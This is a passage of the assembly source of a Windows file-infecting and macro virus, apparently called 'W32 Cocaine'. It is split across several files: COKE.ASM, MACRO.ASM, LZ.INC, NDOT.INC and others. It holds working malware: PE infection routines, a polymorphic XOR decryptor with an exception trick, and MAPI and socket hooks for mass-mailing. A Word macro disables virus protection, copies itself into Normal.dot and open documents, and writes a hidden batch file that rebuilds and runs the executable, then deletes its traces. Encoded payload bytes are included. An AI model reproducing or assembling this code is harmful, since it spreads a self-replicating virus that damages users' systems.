call [ebp+(ofs _UnmapViewOfFile-ofs vcode)]
unmap_map:
push dwo [ebp+(ofs handle2-ofs vcode)]
call [ebp+(ofs _CloseHandle-ofs vcode)]
close_map:
lea eax, dwo [ebp+(ofs lw_creat_h-ofs vcode)]
push eax
sub eax, 8
push eax
sub eax, 8
push eax
push dwo [ebp+(ofs handle1-ofs vcode)]
call [ebp+(ofs _SetFileTime-ofs vcode)]
push dwo [ebp+(ofs handle1-ofs vcode)]
call [ebp+(ofs _CloseHandle-ofs vcode)]
error_mapf:
push dwo [ebp+(ofs fattr-ofs vcode)]
lea eax, [ebp+(ofs directory-ofs vcode)]
push eax
call [ebp+(ofs _SetFileAttributesA-ofs vcode)]
error_map:
sub eax, eax
ret
UnmapFile endp
random0 proc
sub eax, eax
random proc
push ecx edx
push eax
call delta
mov eax, [ebp+(ofs pseed-ofs vcode)]
mov ecx, 41c64e6dh
mul ecx
add eax, 3039h
and eax, 7ffffffh
mov [ebp+(ofs pseed-ofs vcode)], eax
pop ecx
jecxz @@3 ;limit set?
sub edx, edx
div ecx
xchg eax, edx ;value = rnd MOD limit
@@3:
mov ecx, [esp+(2*4)] ;ecx=ret address
cmp by [ecx], 0cch ;is ret address a int3?
jne @@4
jmp ebp ;if so, start to exec garbage
@@4:
pop edx ecx
sahf ;random flagz
ret
random endp
random0 endp
;name +4
;size +8
;buffer +12
WriteDump proc
COKE.ASM
push 0
call @@61
dd 0
@@61:
push dwo [esp+8+(2*4)]
push dwo [esp+12+(3*4)]
push ebx
call [ebp+(ofs _WriteFile-ofs vcode)]
push ebx
call [ebp+(ofs _CloseHandle-ofs vcode)]
ret 12
WriteDump endp
FileMask db '\*.*', 0, 0, 0, 0
macro_crypt proc
pushad
mov al, 0
macro_key equ by $-1
mov ecx, ofs macro_end-ofs macro_start
lea edi, [ebp+(ofs macro_start-ofs vcode)]
@@1:
xor by [edi], al
inc edi
loop @@1
popad
ret
macro_crypt endp
CRC32 proc
cld
push ebx
mov ecx, -1
mov edx, ecx
NextByteCRC:
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
NextBitCRC:
shr bx, 1
rcr ax, 1
jnc NoCRC
xor ax, 08320h
xor bx, 0edb8h
NoCRC:
dec dh
COKE.ASM
jnz NextBitCRC
xor ecx, eax
xor edx, ebx
dec di
jnz NextByteCRC
not edx
not ecx
pop ebx
mov eax, edx
rol eax, 16
mov ax, cx
ret
CRC32 endp
OpenAncev proc
sub eax, eax
push eax
push 80h
push 3
push eax eax
push 80000000h
call @@1
ancevsys db 'C:\ANCEV.SYS', 0
@@1:
call [ebp+(ofs _CreateFileA-ofs vcode)]
inc eax
jz @@filedontexists
dec eax
push eax
call [ebp+(ofs _CloseHandle-ofs vcode)]
@@fileexists:
clc
ret
@@filedontexists:
stc
ret
OpenAncev endp
align 4
DecriptInit proc
cld
sub eax, eax
db 0b8h+5 ;mov ebp, delta
_delta dd 00403000h
lea ebx, [ebp+(ofs vinit-ofs vcode)]
push ebx
lea ebx, [ebp+(ofs dec_end_code-ofs vcode)]
push dwo fs:[eax]
mov fs:[eax], esp ;set new seh frame
mov edi, ebp
mov eax, 0
key1 equ dwo $-4
@@1:
xor [edi], eax
scasd
add eax, 12345678h
org $-4
key2 dd 0
cmp edi, ebx
COKE.ASM
jne @@1
mov eax, cs:[0] ;cause fault
DecriptInit endp
db 'EOV', 0
align 4
_MessageBoxA dd 0
_FindWindowA dd 0
_PostMessageA dd 0
_RegCloseKey dd 0
_RegQueryValueEx dd 0
_RegOpenKeyEx dd 0
_RegCreateKeyEx dd 0
_RegSetValueEx dd 0
_GetModuleHandle dd 0
_GetProcAddress dd 0 ;basic api init
_connect dd 0
_recv dd 0
_MAPISendMail dd 0
variables dd 0
search_handle dd 0
_socket dd 0
socket dd MAX_SOCK dup (0)
recv_size dd 0
recv_buff dd 0
email_w dd 0
thread dd 0
email db 128 dup (0)
email_crc dd 0
secz db 0
mdeep db 0
align 4
handle1 dd 0
handle2 dd 0
map@ dd 0 ;map address
image_infect dd 0
OurTimer dd 0
polybuffer dd 0 ;address of buffer for poly
mm_on_off dd 0
pe_header dd 0
_mapi dd 0
subject dd 0
lparm dd 0
lvars dd 0
subs_index dd 0
s_into db 0
_pusha db 0
align 4
MF MapiFileDesc <0>
_VSEG NULends
end main
HOST.INC
extrn ShellAboutA:Proc
extrn ExitProcess:pRoc
main proc
jmp DecriptInit
host:
push 0
push ofs tit
push ofs msg
push 0
call ShellAboutA
push 0
call ExitProcess
main endp
_TEXT ends
_DATA ends
COKE.DEF
NAME COKE
EXETYPE WINDOWS
HEAPSIZE 131072
STACKSIZE 131072
MACRO.ASM
.MODEL TINY
.CODE
.STARTUP
DB 1
DB "'%1", CRLF
DB "SUB AUTOCLOSE()", CRLF
DB "ON ERROR RESUME NEXT", CRLF
DB 0
DB 2
DB "OPTIONS.VIRUSPROTECTION = FALSE", CRLF
DB 0
DB 2
DB "OPTIONS.CONFIRMCONVERSIONS = FALSE", CRLF
DB 0
DB 2
DB "OPTIONS.SAVENORMALPROMPT = FALSE", CRLF
DB 0
DB 2
DB "APPLICATION.DISPLAYALERTS = WDALERTSNONE", CRLF
DB 0
DB 2
DB "SHOWVISUALBASICEDITOR = FALSE", CRLF
DB 0
DB 2
DB "%2=1", CRLF
DB 0
DB 2
DB "%3=1", CRLF
DB 0
DB 3
DB "FOR %4 = 1 TO NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS.COUNT", CRLF
DB 'IF NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS(%4).CODEMODULE.LINES(1,1) = "''%1" THEN %2=%4',
CRLF
DB "NEXT %4", CRLF
DB 0
DB 3
DB "FOR %4 = 1 TO ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS.COUNT", CRLF
DB 'IF ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS(%4).CODEMODULE.LINES(1,1) = "''%1" THEN %3=%4',
CRLF
DB "NEXT %4", CRLF
DB 0
DB 3
DB 'OPEN "C:\%7.BAT" FOR OUTPUT AS 1', CRLF
DB 'PRINT #1,"@ECHO OFF"', CRLF
DB 'PRINT #1,"DEBUG <C:\COCAINE.SRC >NUL"', CRLF
DB 'PRINT #1,"COPY C:\W32COKE.EX C:\W32COKE.EXE >NUL"', CRLF
DB 'PRINT #1,"C:\W32COKE.EXE"', CRLF
DB 'PRINT #1,"DEL C:\W32COKE.EX >NUL"', CRLF
DB 'PRINT #1,"DEL C:\COCAINE.SRC >NUL"', CRLF
MACRO.ASM
DB 4
DB "SET %5 = NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS(%2).CODEMODULE", CRLF
DB 0
DB 4
DB "SET %6 = ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS(%3).CODEMODULE", CRLF
DB 0
DB 5
DB 'IF %5.LINES(1, 1) <> "''%1" THEN', CRLF
DB "%5.DELETELINES 1, %5.COUNTOFLINES", CRLF
DB "%5.INSERTLINES 1, %6.LINES(1, %6.COUNTOFLINES)", CRLF
DB "END IF", CRLF
DB 0
DB 5
DB 'IF %6.LINES(1, 1) <> "''%1" THEN', CRLF
DB "%6.DELETELINES 1, %6.COUNTOFLINES", CRLF
DB "%6.INSERTLINES 1, %5.LINES(1, %5.COUNTOFLINES)", CRLF
DB "END IF", CRLF
DB 0
DB 6
;CREATE DEBUG SCRIPT
DB 0
DB 7
DB 'OPEN "C:\ANCEV.SYS" FOR OUTPUT AS 1', CRLF
DB 'PRINT #1,""', CRLF
DB "CLOSE #1", CRLF
DB 0
DB 7
DB "SHELL %7.BAT, VBHIDE", CRLF
DB "FOR %4=1 TO 100", CRLF
DB "NEXT %4", CRLF
DB "KILL %7.BAT", CRLF
DB 0
DB 8
DB "END SUB", CRLF
DB 0
END
LZ.INC
;void fast_copy(p_src,p_dst,len)
;
fast_copy proc
push edi esi ecx
mov ecx,dword ptr [esp+ 4+(4*3)]
mov edi,dword ptr [esp+ 8+(4*3)]
mov esi,dword ptr [esp+12+(4*3)]
cld
rep movsb
pop ecx esi edi
ret 12
fast_copy endp
;
cmp byte ptr [ecx],1
jne short @28
;
; {fast_copy(p_src_first+FLAG_BYTES,p_dst_first,src_len-FLAG_BYTES);
;
?live1@896: ; ECX = p_src_first
add ecx,4
push ecx
mov eax,dword ptr [ebp+12]
push eax
mov edi,dword ptr [ebp+16]
sub edi,4
push edi
call fast_copy
;
; *p_dst_len=src_len-FLAG_BYTES; return;}
;
?live1@912: ; EDI = @temp14
mov eax,dword ptr [ebp+8]
mov dword ptr [eax],edi
jmp short @29
;
; while (p_src!=p_src_post)
;
?live1@928: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits
@28:
cmp eax,dword ptr [ebp-4]
je short @31
;
; {if (controlbits==0)
;
@30:
test esi,esi
jne short @32
;
; {control=*p_src++; control|=(*p_src++)<<8; controlbits=16;}
;
?live1@960: ; EAX = p_src, EDX = p_dst
movzx edi,byte ptr [eax]
inc eax
xor ecx,ecx
; mov esi,16
push 16
pop esi
mov cl,byte ptr [eax]
shl ecx,8
or edi,ecx
inc eax
;
; if (control&1)
;
?live1@976: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits
@32:
test edi,1
je short @33
@34:
xor ebx,ebx
xor ecx,ecx
mov bl,byte ptr [eax]
mov cl,byte ptr [eax]
and ebx,15
inc eax
inc ebx
and ecx,240
mov dword ptr [ebp-8],ebx
;
; offset+=*p_src++&0xFF; p=p_dst-offset;
;
?live1@1008: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits, ECX = offset
;
xor ebx,ebx
mov bl,byte ptr [eax]
inc eax
?live1@1024: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits
shl ecx,4
?live1@1040: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits, ECX = offset
;
and ebx,255
add ecx,ebx
mov ebx,edx
sub ebx,ecx
mov ecx,ebx
jmp short @36
;
; while (len--) *p_dst++=*p++;}
;
?live1@1056: ; EAX = p_src, EDX = p_dst, ECX = p, EDI = control, ESI = controlbits
;
@35:
mov bl,byte ptr [ecx]
inc ecx
mov byte ptr [edx],bl
inc edx
@36:
mov ebx,dword ptr [ebp-8]
add dword ptr [ebp-8],-1
test ebx,ebx
jne short @35
@37:
jmp short @38
;
; else
; *p_dst++=*p_src++;
;
?live1@1072: ; EAX = p_src, EDX = p_dst, EDI = control, ESI = controlbits
@33:
mov cl,byte ptr [eax]
inc eax
mov byte ptr [edx],cl
inc edx
;
; control>>=1; controlbits--;
;
@38:
shr edi,1
dec esi
cmp eax,dword ptr [ebp-4]
LZ.INC
; '%1
; SUB AUTOCLOSE()
; ON ERROR RESUME NEXT
; OPTIONS.VIRUSPROTECTION = FALSE
; OPTIONS.CONFIRMCONVERSIONS = FALSE
; OPTIONS.SAVENORMALPROMPT = FALSE
; APPLICATION.DISPLAYALERTS = WDALERTSNONE
; SHOWVISUALBASICEDITOR = FALSE
; %2=1
; %3=1
; FOR %4 = 1 TO NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS.COUNT
; IF NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS(%4).CODEMODULE.LINES(1,1) = "'%1" THEN %2=%4
; NEXT %4
; FOR %4 = 1 TO ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS.COUNT
; IF ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS(%4).CODEMODULE.LINES(1,1) = "'%1" THEN %3=%4
; NEXT %4
; OPEN "C:\%7.BAT" FOR OUTPUT AS 1
; PRINT #1,"@ECHO OFF"
; PRINT #1,"DEBUG <C:\COCAINE.SRC >NUL"
; PRINT #1,"COPY C:\W32COKE.EX C:\W32COKE.EXE >NUL"
; PRINT #1,"C:\W32COKE.EXE"
; PRINT #1,"DEL C:\W32COKE.EX >NUL"
; PRINT #1,"DEL C:\COCAINE.SRC >NUL"
; PRINT #1,"DEL C:\COCAINE.SYS >NUL"
; PRINT #1,"DEL C:\W32COKE.EXE >NUL"
; PRINT #1,"DEL C:\%7.BAT >NUL"
; CLOSE #1
; SET %5 = NORMALTEMPLATE.VBPROJECT.VBCOMPONENTS(%2).CODEMODULE
; SET %6 = ACTIVEDOCUMENT.VBPROJECT.VBCOMPONENTS(%3).CODEMODULE
; IF %5.LINES(1, 1) <> "'%1" THEN
; %5.DELETELINES 1, %5.COUNTOFLINES
; %5.INSERTLINES 1, %6.LINES(1, %6.COUNTOFLINES)
; END IF
; IF %6.LINES(1, 1) <> "'%1" THEN
; %6.DELETELINES 1, %6.COUNTOFLINES
; %6.INSERTLINES 1, %5.LINES(1, %5.COUNTOFLINES)
; END IF
; OPEN "C:\ANCEV.SYS" FOR OUTPUT AS 1
; CLOSE 1
; SHELL %7.BAT, VBHIDE
; FOR %4 = 1 TO 100
; NEXT %4
; KILL %7.BAT
; END SUB
macro_sized dd 0
macro_size EQU 750 ; size in bytes
macros DB 000H,000H,000H,000H,000H,000H,001H,027H,025H,031H,00DH,00AH,053H,055H
DB 042H,020H,041H,055H,054H,04FH,043H,04CH,000H,000H,04FH,053H,045H,028H,029H
DB 00DH,00AH,04FH,04EH,020H,045H,052H,052H,04FH,052H,020H,000H,000H,052H,045H
DB 053H,055H,04DH,045H,020H,04EH,045H,058H,054H,00DH,00AH,000H,002H,04FH,000H
DB 000H,050H,054H,049H,04FH,04EH,053H,02EH,056H,049H,052H,055H,053H,050H,052H
DB 04FH,054H,004H,008H,045H,043H,003H,011H,020H,03DH,020H,046H,041H,04CH,053H
DB 045H,00BH,023H,043H,04FH,04EH,046H,008H,007H,049H,052H,04DH,002H,007H,056H
DB 045H,052H,053H,003H,036H,00FH,026H,003H,049H,053H,041H,056H,045H,04EH,020H
DB 002H,04FH,052H,04DH,041H,04CH,002H,04EH,04DH,050H,054H,00BH,024H,041H,050H
DB 050H,04CH,049H,043H,002H,000H,041H,003H,061H,02EH,044H,049H,053H,050H,04CH
DB 041H,059H,041H,04CH,045H,052H,054H,053H,089H,000H,002H,025H,057H,044H,005H
DB 00BH,04EH,04FH,04EH,004H,076H,053H,048H,04FH,057H,056H,049H,053H,055H,000H
DB 018H,041H,04CH,042H,041H,053H,049H,043H,045H,044H,049H,054H,002H,0BEH,00AH
DB 097H,025H,032H,03DH,021H,009H,002H,0E9H,000H,002H,025H,033H,004H,008H,003H
DB 046H,002H,01FH,025H,034H,002H,04AH,031H,020H,054H,04FH,022H,068H,020H,005H
MACRO.INC
DB 083H,054H,045H,04DH,002H,065H,054H,045H,02EH,056H,042H,002H,08EH,04AH,002H
DB 0DCH,002H,00AH,043H,008H,090H,04FH,04DH,050H,002H,065H,04EH,054H,053H,02EH
DB 043H,04FH,055H,04EH,012H,007H,049H,046H,00FH,030H,043H,000H,00FH,030H,005H
DB 030H,028H,025H,034H,029H,002H,034H,044H,045H,04DH,04FH,044H,055H,04CH,045H
DB 02EH,000H,014H,04CH,049H,04EH,045H,053H,028H,031H,02CH,031H,029H,002H,077H
DB 022H,012H,079H,022H,020H,054H,010H,0AAH,048H,045H,04EH,020H,002H,09BH,025H
DB 034H,00DH,00AH,013H,064H,020H,003H,009H,000H,00EH,09DH,041H,012H,064H,020H
DB 0BBH,056H,045H,044H,04FH,043H,012H,08AH,04EH,054H,002H,093H,00FH,09DH,045H
DB 00DH,09DH,00FH,030H,00FH,0CDH,04EH,003H,030H,0CBH,004H,00FH,09DH,00FH,09DH
DB 031H,007H,09DH,033H,03DH,003H,094H,00AH,09DH,04FH,050H,002H,0B4H,022H,043H
DB 03AH,05CH,025H,080H,000H,037H,02EH,042H,041H,054H,022H,020H,013H,04BH,04FH
DB 055H,054H,050H,055H,054H,020H,041H,004H,000H,053H,020H,012H,066H,050H,052H
DB 049H,04EH,054H,020H,023H,031H,02CH,022H,040H,045H,043H,000H,002H,048H,04FH
DB 020H,04FH,046H,046H,022H,00DH,00AH,009H,016H,044H,045H,042H,055H,047H,020H
DB 042H,000H,03CH,002H,043H,043H,04FH,043H,041H,012H,016H,02EH,053H,052H,043H
DB 020H,03EH,04EH,055H,04CH,041H,000H,00CH,027H,043H,04FH,050H,059H,020H,002H
DB 025H,057H,033H,032H,043H,04FH,04BH,045H,02EH,045H,06AH,031H,058H,00DH,00EH
DB 045H,00FH,033H,02CH,003H,096H,009H,02EH,045H,00CH,04EH,044H,045H,04CH,00DH
DB 03FH,00FH,03EH,02CH,022H,09FH,0FFH,006H,023H,00FH,095H,00FH,047H,003H,047H
DB 008H,024H,059H,053H,00FH,048H,008H,048H,00AH,08AH,00FH,024H,008H,024H,015H
DB 044H,007H,01FH,034H,080H,012H,039H,001H,06FH,032H,048H,004H,053H,045H,054H
DB 020H,025H,035H,022H,02AH,02FH,09CH,01FH,0CFH,016H,0CFH,032H,02BH,06CH,008H
DB 041H,036H,0AFH,014H,002H,041H,02FH,010H,00FH,041H,006H,041H,033H,00EH,041H
DB 005H,022H,0E8H,025H,035H,028H,0B6H,020H,022H,0B7H,03CH,03EH,020H,019H,071H
DB 029H,0B8H,00DH,00AH,002H,01EH,012H,033H,045H,054H,045H,024H,03DH,020H,031H
DB 02CH,002H,0B1H,022H,0F1H,032H,025H,04FH,0C6H,065H,046H,004H,013H,004H,023H
DB 049H,04EH,053H,032H,0B5H,004H,010H,004H,023H,036H,009H,053H,025H,036H,00CH
DB 02FH,042H,079H,045H,0E0H,0F3H,04EH,044H,020H,049H,046H,002H,0BFH,004H,07EH
DB 00AH,02BH,00FH,07EH,002H,05BH,036H,02EH,00FH,07EH,00DH,04FH,004H,023H,00FH
DB 07EH,033H,002H,00AH,0D1H,002H,0BFH,043H,04FH,009H,0ADH,00BH,07EH,006H,000H
DB 007H,028H,0E7H,041H,04EH,043H,045H,056H,02EH,078H,040H,053H,059H,053H,02FH
DB 0EAH,02CH,0EAH,022H,025H,01AH,0BEH,007H,053H,048H,045H,04CH,04CH,020H,015H
DB 0DEH,02CH,0C0H,088H,020H,056H,042H,048H,049H,044H,042H,0A8H,033H,02AH,025H
DB 034H,03DH,044H,073H,031H,030H,030H,03AH,0F4H,004H,000H,04BH,049H,008H,02FH
DB 00DH,00AH,000H,008H,045H,04EH,044H,020H,053H,055H,042H,00DH,00AH,000H,000H
DB 000H
MAPI.INC
MapiMessage struc
resd dd ?
lpszSubject dd ?
lpszNoteText dd ?
lpszMessageType dd ?
lpszDateReceived dd ?
lpszConversationID dd ?
flags dd ?
lpOriginator dd ?
nRecipCount dd ?
lpRecips dd ?
nFileCount dd ?
lpFiles dd ?
MapiMessage ends
MapiRecipDesc struc
resd dd ?
ulRecipClass dd ?
lpszName dd ?
lpszAddress dd ?
ulEIDSize dd ?
lpEntryID dd ?
MapiRecipDesc ends
MapiFileDesc struc
resd dd ?
flFlags dd ?
nPosition dd ?
lpszPathName dd ?
lpszFileName dd ?
lpFileType dd ?
MapiFileDesc ends
NDOT.INC
;Sub AutoExec()
;On Error GoTo erro
;Application.DisplayAlerts = False
;Application.EnableCancelKey = wdDisabled
;For i = 1 To NormalTemplate.VBProject.VBComponents.Count
;If NormalTemplate.VBProject.VBComponents(i).CodeModule.Lines(1,1) = "'Cocaine" Then GoTo erro
;Next i
;NormalTemplate.VBProject.VBComponents.Import("c:\cocaine.sys")
;NormalTemplate.Save
;erro:
;End Sub
normaldot_sized dd 0
normaldot DB 000H,000H,000H,000H,000H,002H,0D0H,0CFH,011H,0E0H,0A1H,0B1H,01AH,0E1H
DB 000H,00EH,001H,03EH,000H,003H,000H,0FEH,0FFH,0A8H,061H,009H,000H,006H,00AH
DB 018H,001H,002H,00CH,021H,002H,004H,004H,003H,010H,000H,000H,023H,002H,009H
DB 003H,014H,0FEH,0C8H,0FFH,0FFH,0FFH,0FFH,002H,00BH,000H,020H,002H,005H,002H
DB 00BH,00FH,003H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,007H,000H,00FH,010H,00FH,010H,00CH,010H,0ECH
DB 0A5H,0C1H,000H,049H,000H,016H,004H,000H,000H,001H,012H,0BFH,03FH,000H,012H
DB 0C0H,002H,003H,012H,0DAH,002H,006H,003H,012H,002H,004H,00EH,000H,062H,06AH
DB 062H,06AH,0B2H,0B3H,0B2H,0B3H,003H,0E0H,002H,014H,00EH,003H,016H,004H,016H
DB 000H,01EH,00CH,000H,000H,0D0H,0D9H,001H,004H,004H,023H,00CH,00EH,023H,0F1H
DB 0CAH,00CH,00FH,0FFH,0FFH,00FH,008H,010H,00FH,00CH,008H,019H,006H,009H,05DH
DB 004H,008H,08CH,004H,006H,000H,000H,003H,008H,003H,004H,0B7H,067H,003H,00FH
DB 00FH,008H,00BH,010H,014H,003H,021H,006H,004H,0BCH,00FH,008H,00FH,010H,002H
DB 010H,002H,0BDH,000H,0C8H,006H,008H,007H,030H,018H,0D0H,0AFH,002H,000H,000H
DB 0B6H,002H,014H,0E0H,002H,004H,003H,003H,00FH,008H,00FH,010H,00FH,010H,007H
DB 010H,018H,012H,00FH,0C7H,002H,041H,076H,055H,0DFH,002H,008H,002H,007H,000H
DB 00FH,008H,00FH,010H,003H,010H,024H,002H,029H,0CEH,002H,080H,0F4H,002H,034H
DB 0C2H,012H,07EH,03EH,0F5H,0FFH,002H,010H,003H,002H,010H,015H,002H,008H,00FH
DB 003H,007H,0F8H,007H,070H,00FH,020H,007H,018H,00FH,008H,007H,010H,003H,058H
DB 003H,034H,007H,010H,007H,050H,0FFH,05FH,007H,008H,007H,018H,003H,024H,003H
DB 004H,007H,010H,00FH,008H,00FH,010H,007H,010H,00FH,048H,00FH,010H,013H,020H
DB 003H,058H,00FH,004H,0A0H,002H,011H,00EH,0FDH,0FBH,002H,004H,0AEH,002H,004H
DB 003H,008H,007H,038H,00FH,008H,007H,010H,007H,070H,007H,050H,003H,010H,038H
DB 002H,03CH,003H,008H,002H,007H,008H,003H,007H,020H,0FFH,006H,007H,038H,007H
DB 008H,008H,021H,00FH,009H,00FH,010H,00EH,010H,007H,050H,007H,068H,0D4H,002H
DB 020H,023H,050H,0A0H,010H,0DAH,09BH,0B8H,0F8H,0FFH,065H,0BEH,001H,027H,050H
DB 007H,008H,007H,028H,007H,038H,002H,02FH,00FH,003H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FDH,0FFH,002H,010H,00DH,002H
DB 004H,00FH,003H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,0EFH,0FFH,00FH,010H,00FH,010H,00CH,010H,042H,066H,001H,002H,004H,00CH
DB 014H,00FH,00DH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,03FH,0FBH,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,009H,010H,001H,000H,012H,0FCH,023H,000H,0FDH,009H
DB 014H,00FH,00AH,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0EFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,007H,010H,082H,064H,000H,028H,000H,007H,015H,00FH
DB 008H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
NDOT.INC
DB 010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,0FFH,03FH,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,012H,000H,0E8H,041H,00FH,000H,00AH,062H,007H
DB 05BH,002H,008H,0E2H,069H,004H,01FH,0E2H,086H,040H,0F1H,0FFH,002H,000H,002H
DB 008H,000H,000H,060H,006H,000H,04EH,000H,06FH,000H,072H,000H,06DH,000H,061H
DB 000H,06CH,002H,01EH,003H,024H,004H,070H,000H,000H,06DH,048H,016H,082H,038H
DB 002H,00FH,00CH,003H,036H,000H,041H,040H,0F2H,0FFH,0A1H,000H,036H,011H,040H
DB 002H,016H,013H,000H,046H,002H,038H,06EH,000H,074H,000H,065H,000H,020H,000H
DB 070H,002H,03EH,072H,040H,03DH,000H,0E1H,000H,067H,000H,02EH,006H,00EH,064H
DB 002H,054H,0E3H,002H,022H,002H,02BH,00CH,003H,063H,095H,002H,000H,062H,078H
DB 000H,0D2H,049H,001H,000H,0FFH,002H,001H,003H,010H,004H,020H,0FFH,0FFH,003H
DB 008H,005H,029H,009H,00AH,087H,0BCH,003H,0AFH,082H,003H,019H,002H,090H,083H
DB 0C8H,002H,007H,000H,007H,018H,005H,002H,018H,0FFH,002H,0C8H,000H,000H,005H
DB 000H,056H,002H,088H,008H,000H,063H,000H,06EH,002H,088H,012H,000H,043H,000H
DB 03AH,000H,05CH,000H,04CH,000H,049H,000H,028H,02AH,058H,000H,04FH,002H,00AH
DB 06CH,002H,088H,061H,000H,064H,002H,022H,072H,002H,0A0H,064H,002H,00EH,074H
DB 000H,0D4H,005H,0FFH,001H,003H,068H,056H,002H,042H,000H,002H,088H,004H,007H
DB 00AH,005H,010H,003H,091H,002H,000H,025H,000H,054H,0B5H,0A8H,002H,035H,06DH
DB 002H,0DFH,06CH,002H,059H,003H,0EBH,050H,002H,0D7H,06FH,000H,06AH,002H,016H
DB 063H,002H,0FBH,02EH,002H,020H,080H,060H,068H,000H,069H,000H,073H,000H,044H
DB 002H,055H,063H,000H,075H,000H,06DH,002H,01AH,013H,015H,02EH,014H,035H,000H
DB 041H,002H,00EH,074H,002H,016H,045H,000H,078H,002H,014H,063H,012H,083H,011H
DB 003H,072H,003H,053H,045H,000H,0A8H,0A2H,04DH,000H,050H,002H,0A0H,041H,002H
DB 03FH,045H,002H,00AH,052H,002H,0A6H,04AH,000H,045H,002H,0B8H,054H,002H,0A0H
DB 0A8H,01AH,054H,000H,048H,002H,0BAH,053H,002H,053H,04FH,002H,012H,055H,002H
DB 02CH,045H,012H,0A4H,003H,01AH,041H,000H,055H,055H,01CH,002H,032H,04FH,002H
DB 02AH,058H,002H,004H,043H,002H,0B0H,040H,000H,080H,003H,055H,002H,00AH,002H
DB 003H,0E8H,020H,082H,04FH,001H,002H,066H,009H,010H,002H,013H,004H,003H,002H
DB 010H,004H,007H,000H,002H,01DH,000H,000H,020H,000H,000H,008H,000H,010H,001H
DB 040H,000H,000H,003H,002H,014H,047H,016H,090H,002H,02EH,002H,002H,006H,003H
DB 005H,004H,005H,0F8H,056H,002H,003H,004H,003H,014H,002H,017H,008H,003H,002H
DB 01DH,004H,00CH,054H,002H,0E3H,003H,0D9H,073H,002H,03EH,04EH,002H,0CDH,077H
DB 02DH,000H,002H,008H,052H,002H,0DBH,023H,034H,06EH,002H,022H,035H,010H,090H
DB 001H,002H,000H,005H,005H,001H,002H,0C0H,08BH,001H,007H,006H,002H,005H,007H
DB 002H,013H,003H,003H,007H,077H,003H,00CH,080H,003H,005H,053H,000H,079H,012H
DB 021H,026H,0BCH,062H,002H,03AH,023H,06AH,033H,022H,004H,07EH,00BH,006H,004H
DB 002H,003H,001H,00FH,07EH,004H,0AEH,003H,036H,041H,012H,073H,016H,000H,069H
DB 012H,07FH,003H,034H,022H,012H,0FBH,030H,008H,088H,018H,000H,000H,0C4H,002H
DB 000H,000H,0A9H,0C1H,05CH,004H,0A1H,078H,01CH,033H,066H,07AH,002H,004H,003H
